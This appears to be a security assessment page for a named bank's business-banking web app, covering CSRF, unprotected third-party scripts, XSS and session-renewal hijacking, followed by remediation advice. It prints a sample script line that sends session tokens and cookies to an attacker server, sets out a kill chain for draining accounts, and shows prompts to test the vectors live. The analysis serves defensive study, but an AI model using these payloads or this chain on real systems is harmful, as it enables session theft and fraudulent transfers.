💣 CSRF on /AcceptTransaction — No CSRF Token Required

The bank's code calls POST /AcceptTransaction with an empty JSON body {} and no CSRF token. The only authentication is the ASP.NET_SessionId cookie, which the browser sends automatically on every request to the bank's domain.

The Vulnerable Code (from PagoElectronico.js)

// From ModalNotificacionTD() - the bank's own code: $.ajax({ type: "POST", url: ".." + url + "/AcceptTransaction", data: '{}', // ⬅ EMPTY BODY - no CSRF token contentType: "application/json; charset=utf-8", dataType: "json", success: OnSuccessDuplicada, });

💥 Attack Demonstration

An attacker hosts a page that auto-submits to /AcceptTransaction. If the victim has an active bank session, the browser sends the ASP.NET_SessionId cookie automatically. The server processes the pending transfer without any OTP validation.

⚠ This attack works when:
1. The victim is logged into BanescOnline Empresa in the same browser.
2. The victim has a transfer in progress (on the "confirm" step).
3. The victim visits the attacker's page (phishing).
4. The attacker's page triggers /AcceptTransaction — browser sends cookies automatically.
[System] CSRF PoC ready.
[System] Ensure you have an active transfer in progress.
[System] Click a button to test the CSRF vector.

Alternatively — Construct a Transfer from Scratch

The attacker can also call the transfer endpoint directly with stolen session data. This is the Python script approach shown in the Full Kill Chain tab.

Evidence from the bank's code: OnSuccessDuplicada() receives the full transfer response — CuentaDebitar, Monto, Beneficiario, CedulaBeneficiario, BancoBeneficiario, Resultado — all returned from the server without OTP.

💣 Third-Party Script Compromise — The Most Likely Attack Vector

The bank loads 4 external scripts from 3 different subdomains, all from the same /55151/ directory. These scripts load asynchronously with no SRI integrity hash. Any compromise of these subdomains grants the attacker same-origin JavaScript execution on the bank's application — full access to sessionStorage, document.cookie, and all JavaScript variables.

The 4 External Scripts — Loaded Without SRI

ScriptSourceLoaded OnSRI Hash?Status
cc.js edit.banesco.com/55151/cc.js Every post-login page ❌ NO CHECKING...
scrl.js cache.banesco.com/55151/scrl.js Login page ❌ NO CHECKING...
clip.js servicio.banesco.com/55151/clip.js Login page ❌ NO CHECKING...
port.js edit.banesco.com/55151/port.js Login page ❌ NO CHECKING...
[System] Click "Fetch All Scripts Now" to download and inspect the external scripts.
[System] These scripts run on the bank's origin with full access to sessionStorage, cookies, and DOM.

What an Attacker Injects Into cc.js

// If the attacker compromises edit.banesco.com, they add ONE LINE to cc.js: fetch('https://evil-c2.com/collect', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ // Full access because the script runs same-origin: token: sessionStorage.getItem('session_token'), refreshUrl: sessionStorage.getItem('ConvergenciaMPrefreshUrl'), userSession: sessionStorage.getItem('User_SESSION'), cookie: document.cookie, // ASP.NET_SessionId (no httpOnly!) renovarUrl: urlRenovarCookie, // Global JS variable url: window.location.href, time: Date.now() }) });

The Bank's Script Loading Code (Vulnerable)

// From PagoElectronico.js - the ACTUAL code that loads cc.js: (function() { var bt = "text/java", z = document, fh = z.getElementsByTagName('head')[0], k = 'script', j = (window.location.protocol == "https:" ? "https:/" : "http:/"); var y = z.createElement(k); y.async = true; // Loads without blocking y.type = bt + k; y.src = [j, "edit.banesco.com", "55151", "cc.js"].join("/"); // NOTE: No integrity attribute, no crossorigin, no SRI hash fh.appendChild(y); })();

💥 XSS Vectors — Multiple Injection Points

① XSS via setAttribute("onClick", ...) — Direct Script Injection

The bank's login page stores JavaScript code in hidden input values and then sets them directly as onClick handlers via setAttribute(). This is equivalent to eval() on click.

// Hidden inputs in login.aspx contain raw JavaScript: <input name="lnkCandado" id="lnkCandado" value="javascript:selloIrA();" /> // ObtenerCont() sets this value directly as an onClick handler: var lnkCanda = document.getElementById('lnkCanda'); lnkCanda.setAttribute("onClick", document.getElementById('lnkCandado').value); // ⬅ If lnkCandado.value = "javascript:EXPLOIT_HERE" // clicking the VeriSign logo EXECUTES the attacker's code
🔎 Attack Scenario:
If any page or URL parameter can set the value of these hidden inputs (lnkSitioSeguro, lnkSitioSeguro2, lnkCandado), the attacker can execute arbitrary JavaScript in the victim's session.

Live Demonstration of the Vulnerable Pattern

The example below replicates the bank's exact pattern. Click the link to see how hidden input values become executable code:

Click here — see what the hidden input executes

② Reflected XSS via Error.aspx?Error= Parameter

The bank's OnSuccessDuplicada() opens Error.aspx with the Error parameter derived from server data. If the error page renders this parameter without encoding, it's reflected XSS.

// From PagoElectronico.js: window.open('../Errors/Error.aspx?Error=' + response.d.MotivoSuspension + '&CodError=' + response.d.Status, '_parent');
[System] Click "Test Reflection" to check if Error.aspx echoes the parameter.
[System] If the word "TEST_PENTEST" appears in the response, the parameter is reflected.

③ SweetAlert HTML Injection

The bank uses openSwalModal(htmlToShow) and ModalNotificacionTD(msj) with the html: parameter — which renders raw HTML. If any caller passes user-controllable data into these functions, it's HTML injection.

// From PagoElectronico.js: function openSwalModal(htmlToShow, ...) { Swal.fire({ html: htmlToShow, // ⬅ RAW HTML - any tags are rendered ... }); }

XSS Vector Summary

VectorInjection PointTypeSeverity
setAttribute("onClick", ...) Hidden input values in login.aspx DOM-based / Stored if values come from DB HIGH
Error.aspx?Error= Query parameter from server data Reflected / Stored if MotivoSuspension from DB HIGH
SweetAlert html: Any caller of openSwalModal/ModalNotificacionTD DOM-based MEDIUM
URL params in OnSuccessDuplicada Beneficiario, Concepto, CedulaBeneficiario Reflected (if confirmation page echoes them) MEDIUM

💥 SessionStorage Poisoning — Hijacking the Session Renewal

The bank's RenovarSesionMP() reads the refresh URL from sessionStorage.getItem("ConvergenciaMPrefreshUrl"). If an attacker can set this value (via XSS or another injection), the auto-renewal loop sends the session cookies to the attacker's server every 2.5 minutes.

The Vulnerable Pattern

// From PagoElectronico.js - RenovarSesionMP(): refreshUrl = sessionStorage.getItem("ConvergenciaMPrefreshUrl"); $.ajax({ type: "GET", url: refreshUrl, // ⬅ ATTACKER-CONTROLLED VALUE ... success: function(msg) { var sessionToken = msg.session.session_token; sessionStorage.setItem("session_token", sessionToken); // ⬅ Token now in attacker-controlled domain's URL } }); // And this fires automatically every 2.5 minutes: var tiempoRenovacion = 150000; // 2.5 minutes intervaloRenovacionSesion = setInterval(function () { RenovarSesionMP(); // ⬅ AUTO-FIRES }, tiempoRenovacion);

Attack Chain

1
Find XSS on bank domain
2
Set ConvergenciaMPrefreshUrl to attacker server
3
Wait 2.5 min for auto-renewal
4
Session cookie sent to attacker via GET
5
Attacker drains account
⚠ Note:
This requires an initial XSS to set the sessionStorage value. But once set, the session is persistently compromised — every 2.5 minutes, a fresh token is automatically sent to the attacker.

Also Affected — urlRenovarCookie Variable

The ejecutarServicio() function uses the global JavaScript variable urlRenovarCookie. If this variable is ever set dynamically (e.g., from a URL parameter or server response), an attacker can redirect the fetch() call to their server.

💣 The Full Kill Chain — How 50-100 Clients Were Drained

1
Compromised Third-Party Script OR Malicious Extension
2
JS runs on bank's origin
3
Read sessionStorage + cookie
4
Exfiltrate to C2 server
5
Attacker uses Python script
6
Call RenovarSesionMP()
7
Call AcceptTransaction OR transfer API
8
Transfer executes WITHOUT OTP
9
Repeat until drained

All 7 Vulnerabilities in the Kill Chain

#VulnerabilityEnablesSeverity
1 Third-party scripts without SRI
4 scripts from 3 subdomains, all async, no integrity hash
Same-origin code execution CRITICAL
2 sessionStorage plaintext tokens
session_token, User_SESSION, ConvergenciaMPrefreshUrl all in plaintext
Token theft via any JS on origin CRITICAL
3 No httpOnly on ASP.NET_SessionId
document.cookie readable by JavaScript
Session cookie theft CRITICAL
4 OTP only at UI layer
ValidateSession, ejecutarServicio, AcceptTransaction never check OTP
Transfer execution without OTP CRITICAL
5 CSRF on /AcceptTransaction
No CSRF token, empty JSON body accepted
Cross-origin transfer confirmation HIGH
6 XSS via setAttribute("onClick")
Hidden inputs contain executable JavaScript
Session hijacking HIGH
7 Auto-renewal loop (2.5 min)
RenovarSesionMP() fires automatically, exfiltrates token
Persistent session hijacking HIGH

The Most Likely Real-World Attack Scenario

📌 The 50-100 clients were most likely compromised through:
Primary vector: edit.banesco.com/55151/cc.js (or one of the other 3 scripts) was compromised at the CDN level. The attacker injected a single line that exfiltrates sessionStorage and cookies to a C2 server. Every user who loaded the bank's page after login had their session stolen.

Secondary vector: Victims received phishing emails with a link to a page that triggered CSRF on /AcceptTransaction. If the victim had an active bank session, the transfer was confirmed without their knowledge.

OR: A malicious Chrome extension distributed as "Banesco Security Update" reads sessionStorage directly from the bank's origin and exfiltrates it.

🛡 Remediation Recommendations

Each fix addresses a specific vulnerability in the kill chain.

#VulnerabilityFixEffort
1 Third-party scripts without SRI Add integrity="sha384-..." crossorigin="anonymous" to all external script tags. If the CDN is compromised, the browser will refuse to load the modified script. LOW
2 sessionStorage plaintext tokens Use httpOnly cookies for session tokens. Never store authentication tokens in sessionStorage. Use SameSite=Strict to prevent CSRF. MEDIUM
3 No httpOnly on ASP.NET_SessionId Set httpOnly=true and Secure=true and SameSite=Strict on the session cookie in web.config. LOW
4 OTP only at UI layer Validate Clave Dinámica server-side in ejecutarServicio(), AcceptTransaction, and all state-changing API endpoints. The OTP must be per-transaction, not per-session. HIGH
5 CSRF on /AcceptTransaction Add anti-CSRF tokens to all POST requests. Validate Origin and Referer headers. Require Content-Type: application/json with CSRF token in custom header. MEDIUM
6 XSS via setAttribute("onClick") Never store executable code in hidden inputs. Use event listeners (addEventListener) instead. Apply CSP: script-src 'self'. LOW
7 Auto-renewal loop exposes tokens Use refresh tokens stored in httpOnly cookies, not in sessionStorage. Rotate tokens on each use. Bind tokens to IP/device fingerprint. MEDIUM

Recommended CSP Header

Content-Security-Policy: default-src 'self'; script-src 'self' 'strict-dynamic' https://edit.banesco.com https://cache.banesco.com https://servicio.banesco.com; style-src 'self' 'unsafe-inline'; connect-src 'self' https://convergencia.banesconline.com; frame-src 'self'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; form-action 'self'; // Note: 'strict-dynamic' requires proper nonce/hash-based script loading

Recommended Cookie Configuration (web.config)

<httpCookies httpOnlyCookies="true" requireSSL="true" sameSite="Strict" /> <sessionState cookieSameSite="Strict" /> <forms requireSSL="true" cookieSameSite="Strict" />